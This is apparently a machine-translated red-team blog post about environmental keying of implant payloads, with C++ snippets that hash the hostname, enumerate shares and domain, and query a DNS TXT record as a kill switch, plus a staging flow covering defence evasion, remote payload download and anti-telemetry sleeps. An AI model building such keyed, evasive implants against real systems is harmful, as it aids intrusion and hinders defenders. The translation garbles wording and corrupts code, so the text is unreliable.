1.1 Entrada
Un proscenio, con suerte poco popular, que les provoca a los miembros del equipo rojo un mini ataque al corazón es la venida repentina de un nuevo agente: delegación en ALICE-PC.
Si un miembro del equipo cerúleo ha rematado hacerse con una carga útil utilizada en un compromiso y es capaz de desenredarla para revelar el implante interno, entonces poco salió terriblemente mal en alguna parte. En esta publicación, revisaré cómo un compromiso me salió terriblemente mal, ampliando este concepto y analizando la haronía detrás de él.
En mi caso, tuve ataque a una VDI por una supuesta infracción y generé una secreto similar en el nombre de host; llamémosla ESTACIÓN DE TRABAJO1. En algún momento durante el compromiso, activé una sorpresa no relacionada con el implante en sí e hice que el equipo cerúleo localizara ESTACIÓN DE TRABAJO1. Luego de un tiempo, lograron identificar el proceso de implante y lo desconectaron. Unos días posteriormente vi el administrador@ALICE-PC check-in en mi C2. Entonces, inmediatamente entré en pánico y cifré todas las IP, configuré nuevos oyentes con nuevos redirectores y continué. Pero, posteriormente de musitar con el miembro del equipo cerúleo que lo desenredó, dijeron que todo lo que hicieron fue reunir un montón de componentes ambientales y simplemente aplicaron fuerza bruta hasta que lograron disparar la carga útil.
Por mi parte, todo lo que hice fue usar una secreto de nombre de host con SHA256 (265a787c97f61f963efe6d397ef712eef1b89f0641003d1664d118d123828379) para ingresar al ciclo de ejecución y luego derivó una nueva secreto de secreto del valía SHA256 para descifrar la carga útil verdadero. En este caso, el implante se incrustó en el interior de la carga útil utilizando cualquier transformación que apliqué.
Cometí varios errores aquí:
- Tener liviana ataque a la VDI me hizo descender la agente/paranoia
- Usé una sola interruptor
- Usó una carga útil integrada
Los puntos 2 y 3 anteriores se basan directamente en el punto 1 porque no es poco que haga normalmente. Ay, aquí estamos.
En este blog, quiero analizar cómo se pueden evitar estos errores mediante el uso de una colección de diferentes variaciones y mecanismos de codificación. El código que se muestra en este blog es simplemente un ejemplo/prueba de concepto y tendrá consideraciones de OpSec; esto es exclusivamente para demostrar las ideas y la metodología.
1.2 El proceso de varios pasos
El posterior diagrama muestra el flujo de codificación que se analizará en este blog.
Comienza con una demostración común del host particular; es opinar, el nombre del host es X o el archivo Y existe. Si tiene éxito, pasa a una demostración a nivel de red. Este podría ser el dominio X, o SYSVOL el archivo Y existe. Y si ambas pasan, añadimos un control extra que es extranjero y controlable por nosotros en cualquier momento. Esto consta de una carga útil alojada y un interruptor de extinguido. El interruptor de extinguido en este proscenio es un valía en un TXT registro. Evidentemente, si alguna de estas comprobaciones descompostura, salimos.
Estos tres pasos tienen un montón de soluciones potenciales. Pero, por el acertadamente del blog, lo haremos sencillo. Encima, el fragmento de código proporcionado no cumple con las restricciones de seguridad de OpSec. Por lo tanto, las cadenas simplemente se insertarán en el binario. En un proscenio verdadero, se debe considerar la ofuscación de cadenas, o de lo contrario sus claves simplemente estarán ahí.
Antiguamente de continuar con el resto del blog, vale la pena mencionar aquí que puedes discutir el cálculo hash y el almacenamiento de los hash todo el día, pero eso está fuera del trascendencia de este blog. Se pueden ver muestras usando SHA256, MD5, Fowler-Noll-Vo, DBJ2 o lo que desee. Nos centraremos en SHA256 por simplicidad.
1.3 Máquina particular
Para este componente, hay un montón de cosas potenciales contra las cuales secreto, como Callejero de máquina en SOFTWAREMicrosoftCriptografía o el nombre de host, el heredero esperado, las variables ambientales, los listados de directorios… el mundo está a sus pies. Tomemos un ejemplo simple para el nombre de host.
Obtener el nombre de host es liviana con GetComputerNameA:
std::string GetComputerName() {
DWORD bufferSize = MAX_COMPUTERNAME_LENGTH + 1;
char buffer(MAX_COMPUTERNAME_LENGTH + 1);
if (GetComputerNameA(buffer, &bufferSize)) {
return std::string(buffer);
} else {
DWORD error = GetLastError();
return "Error: " + std::to_string(error);
}
}
Calculando el SHA256 con las funciones de wincrypt como CryptAcquireContextA:
std::string get_sha256(const std::string& input) {
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
std::vector<BYTE> buffer;
DWORD cbHash = 0;
DWORD dwBufferLen = 0;
std::string hash_string;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return "";
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
CryptReleaseContext(hProv, 0);
return "";
}
if (!CryptHashData(hHash, reinterpret_cast<const BYTE*>(input.c_str()), input.length(), 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return "";
}
if (!CryptGetHashParam(hHash, HP_HASHSIZE, reinterpret_cast<BYTE*>(&cbHash), &dwBufferLen, 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return "";
}
buffer.resize(cbHash);
if (!CryptGetHashParam(hHash, HP_HASHVAL, &buffer(0), &cbHash, 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return "";
}
std::ostringstream oss;
for (const automóvil& byte : buffer) {
oss << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byte);
}
hash_string = oss.str();
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return hash_string;
}
Finalmente, haciendo la comparación verdadero de una guisa muy ingenua:
bool strings_equal(const std::string& str1, const std::string& str2) {
return str1 == str2;
}
Ejecutar esto en un sistema donde el nombre de host es MAGO (f2bf44269b54b0ee26aab45fa61c69467ecc8fac375b09e8eb055d3dbb90d89b), podemos comparar los hashes y encontrar un efectivo o imitado:
Esa es la deducción común y se puede adoptar y repetir para tantas comprobaciones de host locales como sea necesario. Una preocupación aquí son las imágenes doradas. Si todas o la mayoría de las máquinas en un entorno derivan de la misma pulvínulo, entonces muchos de los componentes del host particular pueden ser iguales.
1.4 Esencia de red
Encima de hacer una comparación, otra batalla viable sería simplemente comprobar si poco existe. Por ejemplo, la posterior función se puede utilizar para comprobar si se puede obtener a los bienes compartidos.
std::vector<std::string> get_network_shares() {
std::vector<std::string> shares;
PSHARE_INFO_1 pShareInfo = nullptr;
DWORD entriesRead = 0;
DWORD totalEntries = 0;
DWORD resumeHandle = 0;
NET_API_STATUS status;
do {
status = NetShareEnum(
NULL,
1,
(LPBYTE*)&pShareInfo,
MAX_PREFERRED_LENGTH,
&entriesRead,
&totalEntries,
&resumeHandle
);
if (status == NERR_Success || status == ERROR_MORE_DATA) {
for (DWORD i = 0; i < entriesRead; i++) {
shares.push_back(pShareInfo(i).shi1_netname);
}
}
if (pShareInfo) {
NetApiBufferFree(pShareInfo);
pShareInfo = nullptr;
}
} while (status == ERROR_MORE_DATA);
return shares;
}
Lógicamente, esto igualmente podría estar de moda para demostrar bienes compartidos específicos, codificar una esclavitud concatenada de todos los nombres, etc. Otra opción podría ser reutilizar la deducción SHA256 de la sección de la máquina particular y comparar los hashes del nombre de dominio de Active Directory:
std::string get_domain_name() {
PDOMAIN_CONTROLLER_INFO pDCI = NULL;
std::string domainName;
DWORD dwRetVal = DsGetDcNameA(
NULL,
NULL,
NULL,
NULL,
DS_RETURN_DNS_NAME,
&pDCI
);
if (dwRetVal == ERROR_SUCCESS) {
if (pDCI) {
domainName = pDCI->DomainName;
NetApiBufferFree(pDCI);
}
} else {
domainName = "Error: " + std::to_string(dwRetVal);
}
return domainName;
}
Tener una capa adicional de codificación, pero esta vez centrada en la red, proporciona ese control extra y tiene como objetivo asegurar que este sea 100% el entorno correcto.
1.5 Bienes Externos
En este punto, se confirman la máquina y la red locales. Para darnos esa capa extra de control, podemos implementar un interruptor pseudo-kill en el flujo de ejecución que nos permitirá desarmar el implante. Me vienen a la mente dos casos de uso:
- Un proceso de “codificación” que hace que el implante se comunique con un memorial y valide la respuesta; si es correcto, continúe; de lo contrario, salga.
- Una decisión de preparación nativa que envía el posterior componente del implante; En la mayoría de los escenarios, esto debería ocurrir de todos modos, fuera del proceso de codificación. Pero lo discutiremos aquí de todos modos, ya que el concepto es relevante.
Para implementar un interruptor de emergencia, podemos hacer una consulta simple a dev.mez0.cc que tendrá un GUID almacenado (8cf73556-6c58-4bf3-8e1e-b2b7658f8a45).
Es sencillo hacer esto con DnsQuery_A.
std::string get_txt_record() {
PDNS_RECORDA txt_record = nullptr;
DNS_STATUS status = DnsQuery_A(
"dev.mez0.cc",
DNS_TYPE_TEXT,
DNS_QUERY_STANDARD,
NULL,
&txt_record,
NULL
);
if (status != ERROR_SUCCESS) {
return "";
}
std::string record = txt_record->Data.TXT.pStringArray(0);
DnsRecordListFree(txt_record, DnsFreeRecordListDeep);
return record;
}
Al hacer esto, tenemos control sobre cuándo se puede activar la carga útil. Asimismo vale la pena señalar que al desactivar el componente de preparación externamente, igualmente se logrará esto. A mí personalmente me gusta tener los dos.
1.6 Diseño de carga útil
Combinando todo esto con un implante válido, construí el posterior diagrama para mostrar mi proceso cuando trabajo con cargas efectos.
Todo lo que esté en verde lo considero obligatorio; El cerúleo es situacional y no siempre es necesario. Por supuesto, este blog negociación sobre dos de los bloques azules; Creo que es posible que no siempre sean adecuados para esa carga útil.
Al revisarlo, comenzamos con la comprobación auténtico de “¿es este el host adecuado?”. Adentro de esto, podemos demostrar nombres de host, versiones de aplicaciones, variables ambientales, etc. Esto es para asegurarnos de que este host sea el que queremos y no administrador@ALICE-PC.
A continuación, llegamos a dos bloques azules para la codificación ambiental y la codificación externa. Esto es lo que se cubrió en este blog y se incluirán comprobaciones como “¿Puedo enumerar bienes compartidos en la máquina X?”. Luego de eso, la secreto externa es “¿podemos al menos comunicarnos con nuestros servidores?”; esto nos proporciona un interruptor de extinguido. La razón por la que este es cerúleo es porque podría tenerlo en ‘Recuperación de carga útil’.
Luego llegamos a una secuencia de bloques que no se mencionan en esta publicación pero que son fundamentales al construir una carga útil. El damnificación defensivo está impresionado como opcional porque es posible que no quieras complicarte con los mecanismos de detección en este momento. Serán cosas como ETW, notificaciones DLL, ganchos, lo que sea.
Una vez que se realiza la codificación y se completa cualquier manipulación, accedemos a la recuperación de carga útil. En su forma más simple, será suficiente una descarga HTTP remota de la posterior etapa.
En este punto, tenemos el entorno correcto, el interruptor de extinguido está agudo, hemos desactivado la telemetría y hemos preparado nuestra carga útil en la memoria para que la carguemos. Entonces, lógicamente, activamos nuestros mecanismos de carga y ejecución y luego limpiamos; la pulcritud consiste en eliminar cualquier artefacto de los pasos anteriores.
Mientras todo esto está sucediendo, puede que valga la pena amodorrarse entre cada paso. El objetivo aquí es no alinear claramente el flujo de ejecución en la telemetría. Al amodorrarse entre cada paso, le da tiempo al host y al proceso para hacer cosas del sistema activo, de modo que la telemetría de sus cargas efectos no esté perfectamente alineada.
1.7 Conclusión
Para cada una de estas secciones, mostré la decisión más simple. En un ámbito automatizado, podría ampliar entre 1 y 1000 claves diferentes por sección si fuera necesario; en última instancia, esto se reduce a la creatividad.
El objetivo común es proteger su carga útil contra la ingeniería inversa y proporcionar un interruptor de extinguido, al mismo tiempo que bloquea la carga útil en un entorno específico para que no salga del trascendencia. En mi opinión, este es un proceso obligatorio para los miembros del equipo rojo.
Pero tenga en cuenta que si alguno quiere revertir su carga útil, lo hará.
1.8Â Â Â Â Â Â Â Â Â Referencias
https://attack.mitre.org/techniques/T1480/001/
https://eprint.iacr.org/2017/928.pdf
https://0xpat.github.io/Malware_development_part_5/
https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html